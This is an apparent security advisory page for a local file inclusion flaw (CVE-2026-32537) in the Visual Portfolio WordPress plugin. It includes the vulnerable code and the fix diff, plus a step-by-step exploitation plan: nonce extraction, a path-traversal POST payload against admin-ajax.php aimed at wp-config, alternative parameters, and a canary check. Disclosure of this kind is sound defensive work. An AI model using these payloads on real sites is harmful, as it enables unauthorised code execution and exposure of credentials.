Visual Portfolio, Photo Gallery & Post Grid <= 3.5.1 - Authenticated (Subscriber+) Local File Inclusion
Description
The Visual Portfolio, Photo Gallery & Post Grid plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 3.5.1. This makes it possible for authenticated attackers, with subscriber-level access and above, to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other "safe" file types can be uploaded and included.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=3.5.1What Changed in the Fix
Changes introduced in v3.5.2
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-32537 ## 1. Vulnerability Summary The **Visual Portfolio, Photo Gallery & Post Grid** plugin (versions <= 3.5.1) is vulnerable to **Authenticated Local File Inclusion (LFI)**. The vulnerability exists within the template loading mechanism where user-controlled…
Show full research plan
Exploitation Research Plan: CVE-2026-32537
1. Vulnerability Summary
The Visual Portfolio, Photo Gallery & Post Grid plugin (versions <= 3.5.1) is vulnerable to Authenticated Local File Inclusion (LFI). The vulnerability exists within the template loading mechanism where user-controlled attributes passed via AJAX are used to construct file paths for PHP include statements without sufficient sanitization or validation against a whitelist.
Specifically, the Visual_Portfolio_Templates::include_template function (found in classes/class-templates.php) accepts a $template_name parameter, appends .php to it, and includes the resulting path. An attacker with Subscriber-level permissions can trigger this via the vp_get_portfolio_items AJAX action by manipulating parameters such as items_style.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
vp_get_portfolio_items - Vulnerable Parameter:
attribs[items_style](or potentially other style-related attributes likefilter_styleorpagination_type) - Authentication: Required (Subscriber or higher)
- Nonce: Required (Action:
visual-portfolio) - Precondition: A valid "Saved Layout" ID or a page where the plugin's assets are loaded is needed to retrieve the nonce.
3. Code Flow
- Entry Point: The user sends a POST request to
admin-ajax.phpwith the actionvp_get_portfolio_items. - AJAX Handler: The plugin registers the action (likely in
classes/class-get-portfolio.phporclasses/class-rest.php). - Input Extraction: The handler extracts the
attribsarray from the request. - Inclusion Sink: The handler identifies the template to use based on
attribs['items_style']. - Vulnerable Call: The handler calls
Visual_Portfolio_Templates::include_template( $template_name, $args ). - LFI Execution: Inside
classes/class-templates.php:
Ifpublic static function include_template( $template_name, $args = array() ) { // ... $template = visual_portfolio()->plugin_path . 'templates/' . $template_name . '.php'; // ... if ( file_exists( $template ) ) { include $template; // Inclusion of path-traversed file } }$template_nameis set to../../../../wp-config, the path becomes.../visual-portfolio/templates/../../../../wp-config.php.
4. Nonce Acquisition Strategy
The plugin localizes its configuration and nonces into the JavaScript variable vpf_data.
- Identify Shortcode: The plugin uses
[visual_portfolio]to render galleries. - Create Test Page:
wp post create --post_type=page --post_status=publish --post_title="VP Gallery" --post_content='[visual_portfolio]' - Authentication: Log in as a Subscriber user.
- Browser Navigation: Navigate to the newly created page.
- Extract Nonce: Use the following JS execution:
browser_eval("window.vpf_data?.nonce")
Note: The localization handle isvisual-portfolio-jsand the object name isvpf_data.
5. Exploitation Strategy
- Prerequisites:
- Subscriber user credentials.
- A valid Visual Portfolio layout must exist to ensure the AJAX handler processes the request fully (alternatively, providing a random integer for
vpf_idoften suffices if attributes are manually provided).
- HTTP Request (The Attack):
- Method:
POST - URL:
http://<target>/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded,Cookie: [Subscriber Cookies] - Payload:
action=vp_get_portfolio_items &nonce=[EXTRACTED_NONCE] &attribs[items_style]=../../../../wp-config &vpf_id=1
- Method:
- Refinement: If
wp-configproduces no output (standard behavior), target a file that generates visible errors or content, such as:attribs[items_style]=../../../../wp-admin/admin-footer(triggers HTML output)attribs[items_style]=../../../../wp-blog-header(re-initializes WP, potentially causing errors)
6. Test Data Setup
- Create Subscriber:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Create Portfolio Content:
- Ensure the plugin is active:
wp plugin activate visual-portfolio - Create a simple layout to ensure the plugin's infrastructure is initialized:
wp post create --post_type=visual-portfolio --post_status=publish --post_title="Test Layout"
- Ensure the plugin is active:
- Place Shortcode: Place the layout on a page to facilitate nonce extraction.
wp post create --post_type=page --post_status=publish --post_content='[visual_portfolio id="LAYOUT_ID_HERE"]'
7. Expected Results
- Successful Inclusion: The HTTP response code will be
200 OK. - Response Content:
- If targeting
wp-config, the response might be empty or return a generic Success JSON if the inclusion succeeded but produced no output. - If targeting
wp-admin/admin-footer, the response will contain actual HTML markup from the WordPress admin footer (e.g.,</span></div><div class="clear"></div>).
- If targeting
- Failed Attempt: A
403 Forbidden(nonce error) or a200 OKwith a "Template not found" style error if path traversal failed.
8. Verification Steps
Since this is an LFI that executes code, we can verify it by including a "canary" file.
- Create a canary file in the WordPress root:
echo "<?php echo 'LFI_SUCCESSFUL'; ?>" > /var/www/html/poc.php - Execute the exploit targeting the canary:
attribs[items_style]=../../../../poc(remember the extension.phpis added automatically). - Check if
LFI_SUCCESSFULappears in the HTTP response body.
9. Alternative Approaches
If items_style is sanitized in some sub-versions, check these alternative parameters that also pass through include_template:
attribs[skin]attribs[pagination_type]attribs[filter_style]attribs[renderer](inferred)
If admin-ajax.php is blocked or restricted, check for REST API counterparts under the visual-portfolio/v1 namespace, though these typically require higher permissions in this specific plugin.
Summary
The Visual Portfolio plugin is vulnerable to Local File Inclusion (LFI) due to insufficient validation of user-supplied template names in its AJAX handlers. Authenticated attackers with Subscriber-level access can use path traversal sequences in attributes like 'items_style' to include and execute arbitrary PHP files on the server.
Vulnerable Code
// classes/class-templates.php (around line 19) public static function include_template( $template_name, $args = array() ) { // Allow 3rd party plugin filter template args from their plugin. $args = apply_filters( 'vpf_include_template_args', $args, $template_name ); if ( ! empty( $args ) && is_array( $args ) ) { // phpcs:ignore WordPress.PHP.DontExtract.extract_extract extract( $args ); } // template in theme folder. $template = locate_template( array( '/visual-portfolio/' . $template_name . '.php' ) ); // pro plugin template. if ( ! $template && visual_portfolio()->pro_plugin_path && file_exists( visual_portfolio()->pro_plugin_path . 'templates/' . $template_name . '.php' ) ) { $template = visual_portfolio()->pro_plugin_path . 'templates/' . $template_name . '.php'; } // default template. if ( ! $template ) { $template = visual_portfolio()->plugin_path . 'templates/' . $template_name . '.php'; } // Allow 3rd party plugin filter template file from their plugin. $template = apply_filters( 'vpf_include_template', $template, $template_name, $args ); if ( file_exists( $template ) ) { include $template; } }
Security Fix
@@ -249,6 +249,55 @@ } /** + * Sanitize icons selector attribute. + * + * Icons selector options are usually provided as an indexed array where each + * option contains a `value` key, unlike regular select controls that may use + * associative options by key. + * + * @param int|float|string $attribute - Unclear Selector Attribute. + * @param array $control - Array of control parameters. + * @return int|float|string + */ + public static function sanitize_icons_selector( $attribute, $control ) { + $valid_options = array(); + + if ( isset( $control['options'] ) && is_array( $control['options'] ) ) { + foreach ( $control['options'] as $option_key => $option_data ) { + if ( is_array( $option_data ) && isset( $option_data['value'] ) ) { + $valid_options[] = (string) $option_data['value']; + } else { + $valid_options[] = (string) $option_key; + } + } + } + + $attribute_string = is_bool( $attribute ) ? ( $attribute ? 'true' : 'false' ) : (string) $attribute; + + // Reject path traversal sequences regardless of control options state. + if ( validate_file( $attribute_string ) !== 0 ) { + $attribute = self::reset_control_attribute_to_default( $attribute, $control ); + } + + // Apply strict allowlist only when options are available. + if ( ! empty( $valid_options ) && ! in_array( $attribute_string, $valid_options, true ) ) { + $attribute = self::reset_control_attribute_to_default( $attribute, $control ); + } + + if ( is_numeric( $attribute ) ) { + if ( false === strpos( $attribute, '.' ) ) { + $attribute = intval( $attribute ); + } else { + $attribute = (float) $attribute; + } + } else { + $attribute = sanitize_text_field( wp_unslash( $attribute ) ); + } + + return $attribute; + } + + /** * Reset the value of the control attribute to the default value. * Also check the attribute for a boolean value, * And if the default value contains a string like 'true' or 'false', @@ -473,6 +522,9 @@ $attributes[ $key ] = self::sanitize_hidden( $attribute ); break; case 'icons_selector': + // Layer 2: Validate against allowed options (same as 'select' type). + $attributes[ $key ] = self::sanitize_icons_selector( $attributes[ $key ], $controls[ $key ] ); + break; case 'text': case 'radio': case 'align': @@ -16,6 +16,11 @@ * @param array $args args for template. */ public static function include_template( $template_name, $args = array() ) { + // Layer 1: Reject template names containing path traversal sequences. + if ( validate_file( $template_name ) !== 0 ) { + return; + } + // Allow 3rd party plugin filter template args from their plugin. $args = apply_filters( 'vpf_include_template_args', $args, $template_name ); @@ -41,17 +46,84 @@ $template = apply_filters( 'vpf_include_template', $template, $template_name, $args ); if ( file_exists( $template ) ) { - include $template; + // Layer 3: Verify the resolved path is within allowed directories. + $real_path = realpath( $template ); + + if ( $real_path && self::is_allowed_template_path( $real_path ) ) { + include $template; + } } } /** + * Check if a resolved file path is within allowed template directories. + * + * Layer 3: Prevents inclusion of files outside expected template directories, + * even if path traversal bypasses other checks. + * + * @param string $real_path The resolved (realpath) file path to check. + * @return bool True if the path is within an allowed directory. + */ + public static function is_allowed_template_path( $real_path ) { + $normalized_real_path = wp_normalize_path( $real_path ); + + if ( ! $normalized_real_path ) { + return false; + } + + $allowed_dirs = array( + visual_portfolio()->plugin_path . 'templates/', + get_stylesheet_directory() . '/visual-portfolio/', + get_template_directory() . '/visual-portfolio/', + ); + + if ( visual_portfolio()->pro_plugin_path ) { + $allowed_dirs[] = visual_portfolio()->pro_plugin_path . 'templates/'; + } + + /** + * Filters the list of allowed template directories. + * + * This is used by the Layer 3 realpath() inclusion guard. + * Add your plugin directory here if you return a custom absolute template + * path via the `vpf_include_template` filter. + * + * @since 3.5.2 + * + * @param array $allowed_dirs Allowed directories (absolute paths). + * @param string $real_path Resolved real path to the included template. + */ + $allowed_dirs = (array) apply_filters( 'vpf_allowed_template_dirs', $allowed_dirs, $real_path ); + + // Resolve all allowed directories to their real paths. + $allowed_dirs = array_filter( array_map( 'realpath', $allowed_dirs ) ); + + foreach ( $allowed_dirs as $dir ) { + $normalized_dir = trailingslashit( wp_normalize_path( $dir ) ); + + if ( strpos( $normalized_real_path, $normalized_dir ) === 0 ) { + return true; + } + } + + return false; + } + + /** * Find css template file * * @param string $template_name file name. * @return string */ public static function find_template_styles( $template_name ) { + // Layer 1: Reject template names containing path traversal sequences. + if ( validate_file( $template_name ) !== 0 ) { + return array( + 'path' => '', + 'version' => '', + ); + } + $template = ''; $template_version = '';
Exploit Outline
The exploit targets the `vp_get_portfolio_items` AJAX action. An attacker must perform the following steps: 1. Authenticate to the WordPress site as a Subscriber or higher role. 2. Obtain a valid security nonce for the `visual-portfolio` action, which is typically exposed in the `vpf_data.nonce` JavaScript variable on any page where the plugin's gallery is present. 3. Construct a POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `vp_get_portfolio_items` - `nonce`: The extracted nonce. - `attribs[items_style]`: A path traversal payload (e.g., `../../../../wp-config`). Note that the plugin automatically appends `.php` to the input. 4. When the server processes the request, the `Visual_Portfolio_Templates::include_template` function will resolve the path to the sensitive file and include it, resulting in the execution of the PHP code within that file (or exposing its output if it produces HTML/text).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.